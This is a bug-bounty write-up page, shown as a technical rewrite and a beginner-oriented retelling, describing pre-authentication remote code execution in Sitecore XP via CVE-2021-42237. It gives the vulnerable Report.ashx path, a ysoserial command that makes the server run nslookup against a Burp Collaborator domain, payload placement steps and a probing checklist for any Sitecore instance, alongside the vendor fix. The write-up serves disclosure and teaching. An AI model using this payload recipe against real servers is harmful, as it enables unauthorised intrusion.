Skip to content
RCE Write-up Intermediate

How I get Pre-Auth Remote Code Execution (CVE-2021–42237) on one of the Vendors

A Sitecore XP instance running a vulnerable version exposed an endpoint that deserialised untrusted data, allowing an attacker to execute commands without authentication. The author used a publicly known exploit to trigger a DNS callback, confirming remote code execution.

caesarevan23.medium.com

Published on caesarevan23.medium.com

Sitecore

Caesar Evan Santoso, on caesarevan23.medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 4 min read.

Context

Sitecore XP is a .NET-based content management and digital experience platform. The researcher found a login page belonging to a Sitecore instance belonging to a vendor, which is censored in the write-up, and identified it as running a version affected by CVE-2021-42237. That CVE covers an insecure deserialisation flaw in Sitecore XP 7.5 Initial Release through Sitecore XP 8.2 Update-7, where it is possible to achieve remote command execution on the machine. No authentication or special configuration is required to exploit it.

The feature involved is a reporting handler, Report.ashx, served from /sitecore/shell/ClientBin/Reporting/Report.ashx. The report does not describe what the handler normally does beyond that it accepts a request and processes XML containing a parameter value.

SITECORE Pre-Auth Remote Code Execution From the original on caesarevan23.medium.com

Setup

The researcher worked against a live Sitecore instance with no credentials, starting from the login page. The tools used were Burp Suite (to intercept and modify the request) and ysoserial (to generate the serialised payload). A Burp Collaborator URL was used as the out-of-band listener for the DNS callback. The affected version range given in the report is:

Product Affected versions
Sitecore XP 7.5 Initial Release to Update-2
Sitecore XP 8.0 Initial Release to Update-7
Sitecore XP 8.1 Initial Release to Update-3
Sitecore XP 8.2 Initial Release to Update-7

The vulnerability is tracked as SC2021-003-499266 and as CVE-2021-42237.

Finding it

The researcher started from the Sitecore login page.

From the original on caesarevan23.medium.com

To determine the exact version, the researcher requested the version disclosure page at /sitecore/shell/sitecore.version.xml, which returned the version information.

Sitecore Version 8.2 (Vuln) From the original on caesarevan23.medium.com

The instance was running Sitecore 8.2, which falls inside the affected range for CVE-2021-42237. With the version and the vulnerability type confirmed, the researcher moved on to exploitation, referring to the Assetnote advisory for details of the attack.

Exploitation

Step 1: reach the handler and switch the method

The researcher opened /sitecore/shell/ClientBin/Reporting/Report.ashx, intercepted the request in Burp Suite, and changed it from GET to POST.

From the original on caesarevan23.medium.com

Step 2: add XML to the body

The researcher added simple XML to the request, which the report describes as useful for triggering RCE.

From the original on caesarevan23.medium.com

Step 3: generate the serialised payload with ysoserial

The payload was generated with ysoserial using the NetDataContractSerializer formatter and the TypeConfuseDelegate gadget chain, with an nslookup command against a Burp Collaborator URL:

Text
./ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c “nslookup URL.burpcollaborator.net” -o base64 -t

The report notes that NetDataContractSerializer is inherently vulnerable to command execution. The -o base64 option produces the payload in base64; -t is passed as shown in the report.

nslookup is a network administration command line tool to query the Domain Name System for mappings between domain names and IP addresses, or other DNS records. From the original on caesarevan23.medium.com

Step 4: decode and place the payload in the parameter

After generating the payload, the researcher base64-decoded it and placed it in the <parameter name=""> section of the XML body.

Base64 Decode From the original on caesarevan23.medium.com

Step 5: send and observe the callback

When the payload was sent, the researcher received a DNS response on Burp Collaborator.

Root cause

The report does not show the handler's internals; the payload relies on NetDataContractSerializer, which the report calls inherently vulnerable to command execution. The report states that NetDataContractSerializer is inherently vulnerable to command execution, and the payload uses the TypeConfuseDelegate gadget chain to turn that deserialisation into a command. Because the handler is reachable without authentication, no credentials or special configuration are needed. The report does not include the handler's source, so the exact code path is not shown; the mechanism is the standard .NET deserialisation-to-gadget-chain route.

Impact

An unauthenticated attacker who can reach the handler on an affected Sitecore XP version can execute arbitrary commands on the server, as demonstrated by the out-of-band DNS lookup.

Fix

For Sitecore XP 8.0.0 through Sitecore XP 8.2.7, the fix is to remove the Report.ashx file from /sitecore/shell/ClientBin/Reporting/Report.ashx on all server instances. The report notes that the file is no longer used and can safely be removed.

The vendor in this case applied exactly that: on 3 July 2022 they fixed the attack by deleting Report.ashx at that path. The report had been sent on 1 July 2022.

NICE~ From the original on caesarevan23.medium.com

Variants to test

  1. Request /sitecore/shell/sitecore.version.xml on any Sitecore instance you encounter. A positive result is a version string inside the affected ranges above, which tells you the deserialisation issue is likely present.
  2. Send a POST to /sitecore/shell/ClientBin/Reporting/Report.ashx with XML containing a <parameter name=""> value. A positive result is the server processing the parameter rather than rejecting the request outright.
  3. Generate a NetDataContractSerializer / TypeConfuseDelegate payload with ysoserial pointing at a Collaborator domain and place the base64-decoded bytes in the parameter. A positive result is a DNS interaction from the target, which confirms command execution without needing a visible response.
  4. Check whether Report.ashx still exists on instances that claim to be patched. A positive result is that the file is no longer present, which matches the recommended remediation.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

What happened, in plain words

A security researcher was browsing the internet and came across a login page for a piece of software called Sitecore. Sitecore is a product that companies use to build and manage their websites: it stores the pages, images and text, and lets staff edit them through a web interface. The researcher noticed that this particular Sitecore installation belonged to a company (the write-up hides which one) and that it was running an old version with a known security hole. Using a browser and a couple of tools, the researcher was able to trigger a command on that server without ever logging in, confirmed by a DNS callback. That kind of takeover is called remote code execution, and because it happens before any login it is called pre-authentication.

The hole has a public identifier, CVE-2021-42237. A CVE is a catalogue number for a known vulnerability, so that everyone in the world can refer to the same issue by the same name. The researcher reported it to the company on 1 July 2022, and two days later the company fixed it by deleting a single file from their server.

This article walks through the same steps the researcher took, explaining each idea from scratch. You only need to be comfortable using a browser and a computer to follow along.

SITECORE Pre-Auth Remote Code Execution From the original on caesarevan23.medium.com

The vulnerability in plain terms

Sitecore XP is a .NET-based content management and digital experience platform. In everyday words: it is a big program, written in Microsoft's .NET programming language, that companies use to run their public websites and to track and personalise what visitors see.

The flaw lives in a piece of Sitecore that handles serialisation. Serialisation is the process of turning an object in a program's memory into a stream of bytes so it can be stored or sent over a network; deserialisation is the reverse, turning those bytes back into a live object. Think of it like packing a piece of furniture into a flat box and then reassembling it later. The danger is that if an attacker controls the bytes, they can influence what gets reassembled. In .NET, certain classes can be made to run code as a side effect of being deserialised. Security people call this an insecure deserialisation vulnerability.

The specific CVE, CVE-2021-42237, covers Sitecore XP 7.5 Initial Release through Sitecore XP 8.2 Update-7. In those versions it is possible to achieve remote command execution on the machine. No authentication or special configuration is required to exploit it, which means an attacker does not need a username, a password or any special setup on the server: if they can reach the vulnerable page, they can try the attack.

The feature involved is a reporting handler called Report.ashx, served from /sitecore/shell/ClientBin/Reporting/Report.ashx. A handler is a small piece of server code that responds to requests for a particular address, a bit like a specific counter in a shop that deals with one kind of enquiry. The .ashx ending is a .NET convention for such handlers. The report does not describe what the handler normally does beyond that it accepts a request and processes XML containing a parameter value. XML is a text format for structured data, using tags in angle brackets, similar in spirit to HTML but meant for data rather than web pages.

The tools used

The researcher worked against a live Sitecore instance with no credentials, starting from the login page. Three tools did the heavy lifting:

  • Burp Suite: a program that sits between your browser and a website and lets you see and edit every request before it is sent. Imagine a postal worker who lets you open, read and rewrite a letter before delivering it.
  • ysoserial: a tool that builds the malicious serialised payload for .NET. A payload here means the data you send that causes the harmful effect.
  • Burp Collaborator: a service that gives you a unique domain name and tells you if anything on the internet ever looks it up. It is used as an out-of-band listener: a way to detect that your code ran on the target even when the target sends no visible reply back to you. Think of it as a tripwire you place somewhere else and watch from a distance.

The affected version range given in the report is:

Product Affected versions
Sitecore XP 7.5 Initial Release to Update-2
Sitecore XP 8.0 Initial Release to Update-7
Sitecore XP 8.1 Initial Release to Update-3
Sitecore XP 8.2 Initial Release to Update-7

The vulnerability is tracked as SC2021-003-499266 and as CVE-2021-42237. The first is Sitecore's own internal ticket number; the second is the public CVE identifier.

Finding it

The researcher started from the Sitecore login page. This is the page staff use to sign in to manage the site. Seeing it tells you the site is running Sitecore, and gives you a starting point.

From the original on caesarevan23.medium.com

To determine the exact version, the researcher requested the version disclosure page at /sitecore/shell/sitecore.version.xml, which returned the version information. A version disclosure page is a page that simply tells anyone who asks which version of the software is running. It is not a vulnerability by itself, but it is very useful to an attacker, because it tells them which known bugs to try. It is like a shop putting a sign in the window saying exactly which model of lock is on the door.

Sitecore Version 8.2 (Vuln) From the original on caesarevan23.medium.com

The instance was running Sitecore 8.2, which falls inside the affected range for CVE-2021-42237. With the version and the vulnerability type confirmed, the researcher moved on to exploitation, referring to the Assetnote advisory for details of the attack. An advisory is a public technical write-up of a vulnerability, usually published by the company that found it or by the vendor, explaining how the bug works and how to fix it.

Exploitation

Exploitation means actually using the vulnerability to make the server do something it should not. The researcher did this in five numbered steps.

Step 1: reach the handler and switch the method

The researcher opened /sitecore/shell/ClientBin/Reporting/Report.ashx, intercepted the request in Burp Suite, and changed it from GET to POST.

A quick word on GET and POST: these are two kinds of HTTP request, the language browsers and servers use to talk. GET is normally used to ask for a page, and its details are visible in the address bar. POST is normally used to send data to the server, and its data travels in the body of the request, out of sight. The researcher changed the request from GET to POST before adding the XML body.

From the original on caesarevan23.medium.com

Step 2: add XML to the body

The researcher added simple XML to the request, which the report describes as useful for triggering RCE. The body of a request is the part that carries data, as opposed to the address line. The XML is the container that carries the malicious value into the handler.

From the original on caesarevan23.medium.com

Step 3: generate the serialised payload with ysoserial

The payload was generated with ysoserial using the NetDataContractSerializer formatter and the TypeConfuseDelegate gadget chain, with a command that performs a DNS lookup against the Collaborator domain:

Text
./ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c “nslookup URL.burpcollaborator.net” -o base64 -t

Line by line, in plain words:

  • ./ysoserial.exe runs the ysoserial program from the current folder.
  • -f NetDataContractSerializer chooses the formatter, the .NET class that will be tricked into deserializing the data. NetDataContractSerializer is a .NET class for turning objects into bytes and back; the report notes that it is inherently vulnerable to command execution, meaning that if you feed it the right bytes, it will run code.
  • -g TypeConfuseDelegate chooses the gadget chain. A gadget chain is a sequence of existing pieces of code in the target program that, when triggered in the right order by deserialisation, end up doing something harmful. It is like finding a chain of dominoes already set up in a room and just needing to push the first one.
  • -c “nslookup URL.burpcollaborator.net” is the command that will run on the server. nslookup is a standard command-line tool that asks the Domain Name System (DNS) to translate a name into an address. DNS is the internet's phone book: it turns names like example.com into numeric addresses. By making the server look up a name that belongs to the researcher's Collaborator, the researcher gets a signal that the command ran.
  • -o base64 asks ysoserial to output the payload encoded in base64. Base64 is a way of writing arbitrary bytes using only ordinary letters, digits and a couple of symbols, so the data can be pasted safely into text such as XML.
  • -t is passed as shown in the report.
nslookup is a network administration command line tool to query the Domain Name System for mappings between domain names and IP addresses, or other DNS records. From the original on caesarevan23.medium.com

Step 4: decode and place the payload in the parameter

After generating the payload, the researcher base64-decoded it and placed it in the <parameter name=""> section of the XML body. Decoding base64 turns the text back into the raw bytes the server expects. The <parameter name=""> element is the slot in the XML where the handler reads its value, so that is where the malicious bytes go.

Base64 Decode From the original on caesarevan23.medium.com

Step 5: send and observe the callback

When the payload was sent, the researcher received a DNS response on Burp Collaborator. A callback here means the target server contacting the researcher's listener. Because the researcher never sees the server's own reply, the callback is the proof: if the Collaborator logs a lookup, the command must have run.

Why it works

The report does not show the handler's internals; the payload relies on NetDataContractSerializer, which the report calls inherently vulnerable to command execution. The report states that NetDataContractSerializer is inherently vulnerable to command execution, and the payload uses the TypeConfuseDelegate gadget chain to turn that deserialisation into a command. Because the handler is reachable without authentication, no credentials or special configuration are needed. The report does not include the handler's source, so the exact code path is not shown; the mechanism is the standard .NET deserialisation-to-gadget-chain route.

What an attacker could do

An unauthenticated attacker who can reach the handler on an affected Sitecore XP version can execute arbitrary commands on the server, as demonstrated by the out-of-band DNS lookup. In everyday terms: they can make the server run programs of their choosing, which is about as serious as a web vulnerability gets. CVSS is a standard scoring system for how severe a vulnerability is; the report simply does not use it.

The fix

For Sitecore XP 8.0.0 through Sitecore XP 8.2.7, the fix is to remove the Report.ashx file from /sitecore/shell/ClientBin/Reporting/Report.ashx on all server instances. The report notes that the file is no longer used and can safely be removed. In other words, the dangerous counter in the shop is no longer needed, so you take it out entirely.

The vendor in this case applied exactly that: on 3 July 2022 they fixed the attack by deleting Report.ashx at that path. The report had been sent on 1 July 2022.

NICE~ From the original on caesarevan23.medium.com

Things to try if you are learning

These are the same checks the researcher used, written as a checklist. Only test systems you own or have permission to test.

  1. Request /sitecore/shell/sitecore.version.xml on any Sitecore instance you encounter. A positive result is a version string inside the affected ranges above, which tells you the deserialisation issue is likely present.
  2. Send a POST to /sitecore/shell/ClientBin/Reporting/Report.ashx with XML containing a <parameter name=""> value. A positive result is the server processing the parameter rather than rejecting the request outright.
  3. Generate a NetDataContractSerializer / TypeConfuseDelegate payload with ysoserial pointing at a Collaborator domain and place the base64-decoded bytes in the parameter. A positive result is a DNS interaction from the target, which confirms command execution without needing a visible response.
  4. Check whether Report.ashx still exists on instances that claim to be patched. A positive result is that the file is no longer present, which matches the recommended remediation. A 404 is the standard HTTP status code for "not found".

Glossary

  • Advisory: a public technical write-up of a vulnerability, explaining how it works and how to fix it.
  • Base64: a way of encoding arbitrary bytes as ordinary text characters, so data can be pasted into text formats safely.
  • Burp Collaborator: a service that gives you a unique domain and reports any lookups of it, used to detect that code ran on a target.
  • Burp Suite: a tool that sits between your browser and a website so you can inspect and modify requests.
  • Callback: a connection from the target server back to a listener you control, used as proof that your code ran.
  • CVE: a public catalogue number for a known vulnerability, so everyone can refer to the same issue.
  • CVSS: a standard scoring system for the severity of a vulnerability.
  • Deserialisation: turning a stream of bytes back into a live object in a program's memory.
  • DNS: the internet's phone book, translating names into numeric addresses.
  • Gadget chain: a sequence of existing code pieces in a program that, triggered in the right order, does something harmful.
  • GET: an HTTP request method normally used to ask for a page.
  • Handler: a small piece of server code that responds to requests for a particular address.
  • HTTP: the language browsers and servers use to talk to each other.
  • Insecure deserialisation: a vulnerability where an attacker controls the bytes being deserialised and can influence what code runs.
  • NetDataContractSerializer: a .NET class for turning objects into bytes and back; the report notes it is inherently vulnerable to command execution.
  • nslookup: a command-line tool that asks DNS to translate a name into an address.
  • Out-of-band listener: a service you control that the target contacts, used to detect execution without a visible reply.
  • Payload: the data you send that causes the harmful effect.
  • POST: an HTTP request method normally used to send data to the server in the request body.
  • Pre-authentication: happening before any login, so no credentials are needed.
  • Remote code execution (RCE): making a remote server run commands of your choosing.
  • Serialisation: turning an object in a program's memory into a stream of bytes so it can be stored or sent.
  • TypeConfuseDelegate: a .NET gadget chain used with ysoserial to turn deserialisation into a command.
  • Version disclosure page: a page that tells anyone which version of the software is running.
  • XML: a text format for structured data using tags in angle brackets.
  • ysoserial: a tool that builds malicious serialised payloads for .NET.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.